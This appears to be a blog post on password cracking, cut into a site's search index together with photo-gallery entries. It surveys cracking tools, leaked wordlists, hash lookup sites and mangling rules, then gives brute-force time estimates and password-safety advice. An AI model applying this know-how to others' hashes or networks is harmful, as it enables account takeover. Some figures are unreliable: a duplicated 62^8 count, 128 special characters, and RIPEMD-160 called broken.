Hashcat: A highly versatile and powerful password recovery tool that supports various hashing algorithms and attack modes, including brute force, dictionary, and mask attacks John the Ripper: One of the oldest and most widely used password cracking tools, capable of performing dictionary and brute force attacks against various password hashes. Ophcrack: A free and open-source tool primarily used for cracking Windows passwords by leveraging rainbow tables for LM and NTLM hashes. Medusa: A parallel login brute-forcer that supports various protocols, including SSH, FTP, Telnet, HTTP(S), SMB, and others. Hydra: A network login cracker that supports various protocols like SSH, FTP, Telnet, HTTP(S), and others, making it useful for cracking passwords on network services. Cain and Abel: A versatile password recovery tool that can recover passwords using various methods such as dictionary attacks, brute-force attacks, and cryptanalysis attacks. RainbowCrack: A password cracking tool that uses rainbow tables to crack hashes. It can handle various hash algorithms and supports distributed cracking. Aircrack-ng: A popular tool for cracking Wi-Fi passwords by capturing and analyzing network packets, supporting various encryption algorithms like WEP and WPA/WPA2. HashcatGUI: A graphical user interface for Hashcat, providing an easier and more user-friendly way to perform hash cracking tasks. Pyrit: Another tool for cracking Wi-Fi passwords, Pyrit specializes in attacking WPA/WPA2-PSK authentication. fcrackzip: fcrackzip is a fast password cracker partly written in assembler. It is able to crack password protected zip files with brute force or dictionary based attacks, optionally testing with unzip its results. It can also crack cpmask’ed images. Websites for Hash Cracking OnlineHashCrack Crack Station Hashes.com MD5 Hashing Ntirxgen Wordlists Most of the time Wordlists that contain commonly used passwords and words are used for this puspose. Wordlists like this typically originate from data breaches, leaks, or public disclosures of passwords used by individuals on various online platforms. Several famous wordlists are widely used in password cracking, security testing, and research. Here are some of the most notable ones:\nRockYou: One of the largest and most well-known wordlists, containing millions of commonly used passwords leaked from the RockYou data breach in 2009. SecLists: A collection of multiple wordlists curated and maintained by Daniel Miessler and Jason Haddix, covering various categories such as passwords, usernames, web shells, and more. Probable Wordlists: Wordlists generated by combining common words, names, dates, and patterns likely to be used in passwords, often used in conjunction with brute force and dictionary attacks. CrackStation: A collection of wordlists generated from leaked password databases, providing a comprehensive dataset for password cracking purposes. Hashes.org: An online repository of hashed passwords and associated wordlists, allowing researchers and security professionals to collaborate on password cracking projects. WPA/WPA2 Wordlists: Specialized wordlists containing common passwords and phrases used in Wi-Fi networks protected by WPA/WPA2 encryption, often used for cracking wireless network passwords. More Lists of Wordlists can be found on WeakPass\nCustom Wordlists Several tools are available for generating wordlists, which are essential for password cracking and security testing. Here are some popular ones:\nCrunch: A powerful wordlist generator that allows users to specify custom character sets, lengths, and patterns for generating wordlists. CUPP (Common User Passwords Profiler): A simple tool that generates custom wordlists based on personal information such as names, dates, and common passwords. CeWL (Custom Word List generator): A tool that spiders a target website to create custom wordlists based on the content found in the web pages. CPU vs GPU The choice between using CPU (Central Processing Unit) and GPU (Graphics Processing Unit) for hash cracking can significantly impact the speed and efficiency of the cracking process.\nCPU Hash Cracking CPUs are general-purpose processors designed to handle a wide range of tasks, including hash cracking While CPUs can execute a variety of instructions, they typically have a limited number of processing cores compared to GPUs Hash cracking on CPU relies heavily on the CPU\u0026rsquo;s processing power and its ability to handle sequential tasks efficiently CPUs are well-suited for tasks that require complex logic, branching, and sequential processing, which are often found in password cracking algorithms However, CPU hash cracking tends to be slower compared to GPU cracking, especially when dealing with large datasets or complex hashing algorithms GPU Hash Cracking GPUs are highly parallelized processors designed to handle large amounts of data simultaneously, making them well-suited for hash cracking. Modern GPUs contain thousands of cores optimized for parallel processing, allowing them to perform many calculations simultaneously Hash cracking on GPU can leverage the massive parallel processing power of GPUs to accelerate the cracking process significantly GPUs are particularly effective at tasks that involve simple, repetitive calculations, such as those commonly encountered in cryptographic algorithms used for hashing As a result, GPU hash cracking can achieve much higher speeds compared to CPU cracking, especially for algorithms that can be easily parallelized Types of Passwords It is also possible to classify passwords into certain sets. These sets can make the password cracking process more efficient, especially if we have some information about the targetted individual or group of individuals.\nHere are a few sets:\nDictionary Password These passwords are derived from words found in dictionaries. Attackers often use dictionary-based attacks where they try common words or phrases as passwords. Example: \u0026ldquo;sunshine\u0026rdquo;, \u0026ldquo;password123\u0026rdquo;, \u0026ldquo;football\u0026rdquo; Short Set Short sets are passwords that consist of a small number of characters or digits. These passwords are relatively easier to guess or crack through brute force methods compared to longer, more complex passwords. Example: \u0026ldquo;1234\u0026rdquo;, \u0026ldquo;abcd\u0026rdquo;, \u0026ldquo;qwerty\u0026rdquo; Keywalk Keywalk passwords involve selecting characters that are adjacent to each other on a keyboard layout. Users may choose this method thinking it\u0026rsquo;s easy to remember, but it can be insecure due to its predictability. Example: \u0026ldquo;qwertyuiop\u0026rdquo;, \u0026ldquo;asdfghjkl\u0026rdquo;, \u0026ldquo;zxcvbnm\u0026rdquo; Personal Data These passwords incorporate personal information such as names, birthdates, addresses, or other identifiable information. While easy to remember, they are often easy to guess by someone who knows the individual well or can gather information about them. This type of password can be easily generated with CUPP. Example: \u0026ldquo;John1985NY\u0026rdquo;, \u0026ldquo;SarahSmith1234\u0026rdquo;, \u0026ldquo;London33\u0026rdquo; Distortion of Specific Words This method involves taking a common word or phrase and intentionally misspelling or distorting it in some way to create a password. While it may seem secure, attackers can still use techniques like dictionary attacks to crack them. Example: \u0026ldquo;P@$$w0rd\u0026rdquo; (instead of \u0026ldquo;Password\u0026rdquo;), \u0026ldquo;L0v3ly\u0026rdquo; (instead of \u0026ldquo;Lovely\u0026rdquo;), \u0026ldquo;S3cur!ty\u0026rdquo; (instead of \u0026ldquo;Security\u0026rdquo;) Repetitive Patterns These passwords involve repeating a pattern of characters, numbers, or symbols. While they may seem complex at first, they can be easily cracked through pattern recognition. Example: \u0026ldquo;123123\u0026rdquo;, \u0026ldquo;abcabc\u0026rdquo;, \u0026ldquo;\u0026amp;\u0026amp;\u0026amp;\u0026amp;\u0026amp;\u0026amp;\u0026rdquo; Sequential Characters Sequential character passwords involve using characters that appear in sequence in the alphabet or somewhere else. These passwords are often weak due to their predictability. Example: \u0026ldquo;abcdef\u0026rdquo;, \u0026ldquo;123456\u0026rdquo; Common Phrases or Quotes Passwords are derived from well-known phrases, slogans, or quotes. While they may be easy to remember, they are also easier for attackers to guess through dictionary-based attacks. Example: \u0026ldquo;ToBeOrNotToBe\u0026rdquo;, \u0026ldquo;LiveLaughLove\u0026rdquo;, \u0026ldquo;AllYouNeedIsLove\u0026rdquo; Keyboard Walks (Non-linear) Unlike Keywalk passwords, these passwords involve selecting characters that are not adjacent to each other on a keyboard layout but follow a non-linear path. They might involve skipping or jumping over keys. Example: \u0026ldquo;plmokn\u0026rdquo;, \u0026ldquo;qawsed\u0026rdquo;, \u0026ldquo;okmijn\u0026rdquo; Leet Speak Substitution Leet Speak involves replacing letters with similar-looking characters or symbols. While it can increase complexity, it\u0026rsquo;s still vulnerable to dictionary-based attacks unless combined with other techniques. Example: \u0026ldquo;p@ssw0rd\u0026rdquo; (for \u0026ldquo;password\u0026rdquo;), \u0026ldquo;l33t\u0026rdquo; (for \u0026ldquo;leet\u0026rdquo;), \u0026ldquo;h4ck3r\u0026rdquo; (for \u0026ldquo;hacker\u0026rdquo;). Password Distortion Rules Distortion rules in password cracking refer to various strategies and techniques attackers use to modify or manipulate passwords to crack them more effectively. These rules are applied during brute-force or dictionary attacks to generate a more extensive set of potential passwords by systematically altering known patterns, words, or phrases.\nHere are some common distortion rules used in password cracking:\nCharacter Substitution This rule involves replacing certain characters in a password. Example: \u0026ldquo;password\u0026rdquo; might be distorted to \u0026ldquo;cnffjbeq\u0026rdquo; (ROT13 Algorithm). Case Variations Case variations involve changing the case of letters within a password, making some uppercase and some lowercase. This rule increases the search space for cracking algorithms. Example: \u0026ldquo;Password\u0026rdquo; might be distorted to \u0026ldquo;pAsswOrd\u0026rdquo;. Repetition Repetition involves adding additional instances of characters or sequences within a password. This rule capitalizes on patterns humans tend to use, such as repeating characters or sequences. Example: \u0026ldquo;hello\u0026rdquo; might be distorted to \u0026ldquo;hellohello\u0026rdquo;. Appending or Prepending Appending or prepending involves adding additional characters or sequences to the beginning or end of a password. Common choices include numbers, symbols, or words. Example: \u0026ldquo;password\u0026rdquo; might be distorted to \u0026ldquo;password123\u0026rdquo; or \u0026ldquo;@password\u0026rdquo;. Keyboard Patterns Keyboard patterns involve manipulating passwords based on their proximity on a standard keyboard layout. This includes variations like adjacent keys, diagonal keys, or alternate rows. Example: \u0026ldquo;qwerty\u0026rdquo; might be distorted to \u0026ldquo;qweRty\u0026rdquo;. Common Affixes This rule applies common prefixes or suffixes to passwords. Attackers might add common words or numbers before or after existing passwords to attempt cracking. Example: \u0026ldquo;password\u0026rdquo; might be distorted to \u0026ldquo;password123\u0026rdquo; or \u0026ldquo;mypassword\u0026rdquo;. L33t Speak This type of Character Substitution replaces letters with visually similar numbers or symbols; in Character Substitution, the characters don\u0026rsquo;t have to be identical in any form. This rule capitalizes on common substitutions used by users to make their passwords more complex. For example, \u0026rsquo;e\u0026rsquo; might be replaced with \u0026lsquo;3\u0026rsquo;, \u0026lsquo;a\u0026rsquo; might be replaced with \u0026lsquo;@\u0026rsquo;, and \u0026lsquo;o\u0026rsquo; might be replaced with \u0026lsquo;0\u0026rsquo;. Example: \u0026ldquo;Password\u0026rdquo; might be distorted to \u0026ldquo;P@$$w0rd\u0026rdquo;. Password Strength It is not always possible to crack a Hash and Obtain a password (in our lifetime). Let us take an example, suppose we have the following information:\nHash Hashing Algorithm Length of the Password For the sake of example, let us assume:\nRate of calculating the hashes = 100 Million Hashes / second Length of the Password = 8 Character Set 0 - Numbers Characters Available = 10\nNumber of Possible Passwords = 10^8 = 100000000 Passwords\nTime Taken to Crack the Password = 1 second\nCharacter Set I - Lowercase ASCII Characters Characters Available = 26\nNumber of Possible Passwords = 26^8 = 208827064576 Passwords\nTime Taken to Crack the Password = 2088.27 seconds = 34.8 minutes\nCharacter Set II - Lowercase ASCII Characters + Numbers Characters Available = 36\nNumber of Possible Passwords = 36^8 = 2.821109907×10¹² Passwords\nTime Taken to Crack the Password = 28211.09 seconds = 470.18 minutes = 7.83 hours\nCharacter Set III - Lowercase ASCII Characters + Uppercase ASCII Characters Characters Available = 52\nNumber of Possible Passwords = 52^8 = 5.345972853×10¹³ Passwords\nTime Taken to Crack the Password = 534597.28 seconds = 8909.95 minutes = 148.49 hours = 6.18 Days\nCharacter Set IV - Lowercase ASCII Characters + Uppercase ASCII Characters + Numbers Characters Available = 62\nNumber of Possible Passwords = 62^8 = 5.345972853×10¹³ Passwords\nTime Taken to Crack the Password = 2183401.05 seconds = 36390.01 minutes = 606.5 hours = 25.27 Days\nCharacter Set V - Lowercase ASCII Characters + Uppercase ASCII Characters + Numbers + Special Characters Characters Available = 128\nNumber of Possible Passwords = 128^8 = 7.205759404×10¹⁶ Passwords\nTime Taken to Crack the Password = 720575940.37 seconds = 12009599.00 minutes = 200159.98 hours = 8339.99 Days = 22.84 Years\nSo, here we saw that the time to crack the password increases significantly when we use more characters, making our password more complex.\nHere, in this case, we knew how long the password was. But in most real-life scenarios, when Hash Cracking is involved, we don\u0026rsquo;t know anything about the length of the password, making it even more time-consuming to do a Brutforce attack.\nThat\u0026rsquo;s why you should keep a complex password that uses all of the following Characters:\nLowercase ASCII Characters Uppercase ASCII Characters Numbers Special Characters Below is the table that shows how much time it would take to crack a hash with certain conditions\nLength Numbers Lowercase ASCII Characters Lowercase ASCII Characters + Numbers Lowercase ASCII Characters + Uppercase ASCII Characters Lowercase ASCII Characters + Uppercase ASCII Characters + Numbers Lowercase ASCII Characters + Uppercase ASCII Characters + Numbers + Special Characters 8 1 sec 34.8 min 7.83 hours 6.18 days 25.27 days 22.84 years 9 10 sec 15.08 hours 8.57 days 162.12 days 1.8 years 57.1 years 10 1.67 min 16.28 days 223.03 days 11.51 years 47.46 years 1497.55 years 11 16.67 min 281.93 days 10.56 years 199.92 years 820.928 years 25843.264 years 12 2.78 hours 9.515 years 130.341 years 2463.897 years 1023042.47 years 6133565802.2 years This table is just an example and not indicative of the actual time taken for hash cracking. A good understanding of multithreading and CUDA programming can even accelerate this by a factor. Success Rate of Hash Cracking Based on the calculations shown in the previous section, we\u0026rsquo;re convinced that Hash Cracking is difficult. So, one question arises: why does an attacker attempt to crack a hash when it would take such a long time? When an attacker gains access to a list of Hash Protected Passwords (from a Compromised Database or any other method), they run a dictionary attack instead of brute force. Because the main aim here is to crack as many passwords as possible instead of targeting a specific one, the attacker would obtain passwords that were present in the wordlist. In such scenarios, the success rate of Hash Cracking is higher than expected.\nSecurity Measure against Hash Cracking You might think that keeping a 20-character-long password and using all 128 Characters would protect you from an attacker attempting to crack the hash. But that\u0026rsquo;s not always true. It would make no difference if that specific 20-character-long password is present in the wordlist used by the attacker in a dictionary attack.\nAlso, creating a password that contains your Name, Date of Birth, Family Member\u0026rsquo;s Name, or any other personal information is not considered secure. It won\u0026rsquo;t take much time to make a custom wordlist that contains combinations of this personal information from programs like CUPP and run a dictionary attack to crack your password.\nSo, to enhance the Security of your password, here are a few points to keep in mind:\nUse a long password: The above table shows that cracking time significantly increases with password length. We can make a small sentence with spelling mistakes that can be used as your password. Use Lowercase + Uppercase ASCII Letters + Numbers + Special Characters: cracking time significantly increases. Also, we can include spaces and some characters other than the English Alphabet (I think that would work on most of the websites) Keep All Passwords Different: An attacker could access another asset using a password cracked from somewhere else. We surf the Internet, and we all have to put passwords for various websites that can\u0026rsquo;t be trusted, so keeping different passwords would make sure that a breach from any of these websites won\u0026rsquo;t affect our significant assets (like Google Account, etc.) Enable Double Factor Authentication: Even if all of the above methods fail or your password was compromised by some other means (Phishing, etc), you would be secure if you\u0026rsquo;ve enabled double-factor authentication correctly. You would be notified by anyone trying to access your account with the correct password and would need your action to continue further Change your Passwords after specific periods: We don\u0026rsquo;t know how our data is being used because it\u0026rsquo;s not always possible to tell how things work under the hood. Whether our passwords are hashed at the backend (with/without salts) or stored as plain text, if that\u0026rsquo;s not what you think, then there won\u0026rsquo;t be any wordlists like rockyou. It is impossible to check whether someone else has your password. Even if someone targets you, you can enhance your Security and privacy by changing your password regularly (after six months). Note The above points do not Guarantee 100% Protection; they only enhance Security.\nChecking Leaked Passwords There are several websites you can use to check whether your password has been leaked somewhere online or not. Here are some popular ones:\nHave I Been Pwned: Check if your email or phone is in a data breach Dehashed: Free deep-web scans and protection against credential leaks LeakCheck.io: Make sure your credentials haven\u0026rsquo;t been compromised crackstation.net: Massive pre-computed lookup tables to crack password hashes HashKiller: Pre-cracked Hashes, easily searchable LeakedPassword: Search across multiple data breaches to see if your pass has been compromised BugMeNot: Find and share logins Source: edoardottt/awesome-hacker-search-engines\nBroken Hashing Algorithms Broken hashing algorithms refer to cryptographic hash functions that have been compromised in some way, making them unsuitable for security purposes. Some hashing algorithms have been found to have vulnerabilities that allow attackers to exploit weaknesses in the algorithm, potentially leading to collisions (two different inputs producing the same hash value), pre-image attacks (deriving the original input from its hash value), or other security breaches. Some well-known examples of broken hashing algorithms include:\nmd5: MD5 was widely used but has been found to have multiple vulnerabilities, including collision attacks. It is considered cryptographically broken and unsuitable for further use in secure applications. sha1: SHA-1 is another widely used hashing algorithm that has been demonstrated to have vulnerabilities. Collision attacks against SHA-1 have been demonstrated, making it insecure for many cryptographic applications. sha0: An earlier version of the SHA algorithm, SHA-0, was quickly replaced by SHA-1 due to vulnerabilities found in it. RIPEMD-160 (RACE Integrity Primitives Evaluation Message Digest 160): Although not as widely used as MD5 or SHA-1, RIPEMD-160 has also been found to have vulnerabilities and is considered broken. It\u0026rsquo;s essential to use modern and secure hashing algorithms, such as SHA-256, SHA-3, or bcrypt, for cryptographic purposes to ensure data integrity and security. Additionally, algorithms should be regularly evaluated for potential weaknesses, and older algorithms should be replaced as needed to maintain security standards.\nNote We\u0026rsquo;ve only discussed Offline Password Cracking because Online Password cracking by Brute Forcing Login Services would be infeasible in today\u0026rsquo;s scenario. After all, IPs would get blocked after a certain number of times. The process would be too slow even if we try to log in with proxies (different IPs).\n","permalink":"https://Gill-Singh-A.github.io/p/password-cracking/","summary":"\u003ch2 id=\"how-passwords-are-stored-on-servers\"\u003eHow passwords are stored on servers?\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"Database\" loading=\"lazy\" src=\"/p/password-cracking/assets/images/database.png\"\u003e\u003cbr /\u003e\nPasswords are stored on databases by hashing them alone or after appending them with random values. Hashing is a one-way function that converts a given string of characters into another value. A strong hashing algorithm has to be quick, deterministic, and irreversible. In this blog, we explore how a hashed password can be cracked.\u003c/p\u003e\n\u003ch2 id=\"hashing-algorithms\"\u003eHashing Algorithms\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"Hashing\" loading=\"lazy\" src=\"/p/password-cracking/assets/images/hashing.png\"\u003e\u003cbr /\u003e\nHashing algorithms are mathematical functions that take an input (often a string of characters, such as a password) and produce a fixed-size string of characters, known as a hash value or hash code. These algorithms are designed to be one-way functions, meaning that while it\u0026rsquo;s easy to compute the hash value from the input (password), it\u0026rsquo;s computationally infeasible to reverse the process and obtain the original input from the hash value.\u003cbr /\u003e\nSome common hashing Algorithms are:\u003c/p\u003e","title":"Password Cracking"},{"content":" ","permalink":"https://Gill-Singh-A.github.io/gallery/campus/","summary":"\u003cdiv class=\"gallery\"\u003e\n  \u003cimg src=\"Campus 1.png\" alt=\"IIT Kanpur Campus\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Campus 2.png\" alt=\"IIT Kanpur Campus\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Campus 3.png\" alt=\"IIT Kanpur Campus\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Campus 4.png\" alt=\"IIT Kanpur Campus\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Campus 5.jpg\" alt=\"IIT Kanpur Campus\" loading=\"lazy\" /\u003e\n\u003c/div\u003e","title":"IIT Kanpur Campus"},{"content":" ","permalink":"https://Gill-Singh-A.github.io/gallery/kerala/","summary":"\u003cdiv class=\"gallery\"\u003e\n  \u003cimg src=\"Kerala 1.jpg\" alt=\"Kerala\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Kerala 2.jpg\" alt=\"Kerala\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Kerala 3.jpg\" alt=\"Kerala\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Kerala 4.jpg\" alt=\"Kerala\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Kerala 5.jpg\" alt=\"Kerala\" loading=\"lazy\" /\u003e\n\u003c/div\u003e","title":"Kerala"},{"content":" ","permalink":"https://Gill-Singh-A.github.io/gallery/pu/","summary":"\u003cdiv class=\"gallery\"\u003e\n  \u003cimg src=\"PU 1.png\" alt=\"Panjab University\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"PU 2.png\" alt=\"Panjab University\" loading=\"lazy\" /\u003e\n\u003c/div\u003e","title":"PU"},{"content":" ","permalink":"https://Gill-Singh-A.github.io/gallery/pind/","summary":"\u003cdiv class=\"gallery\"\u003e\n  \u003cimg src=\"Pind 1.png\" alt=\"Pind\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Pind 2.png\" alt=\"Pind\" loading=\"lazy\" /\u003e\n\u003c/div\u003e","title":"Ropar"},{"content":" ","permalink":"https://Gill-Singh-A.github.io/gallery/vietnam/","summary":"\u003cdiv class=\"gallery\"\u003e\n  \u003cimg src=\"Vietnam 1.jpg\" alt=\"Vietnam\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Vietnam 2.jpg\" alt=\"Vietnam\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Vietnam 3.jpg\" alt=\"Vietnam\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Vietnam 4.jpg\" alt=\"Vietnam\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Vietnam 5.jpg\" alt=\"Vietnam\" loading=\"lazy\" /\u003e\n  \u003cimg src=\"Vietnam 6.jpg\" alt=\"Vietnam\" loading=\"lazy\" /\u003e\n\u003c/div\u003e","title":"Vietnam"}]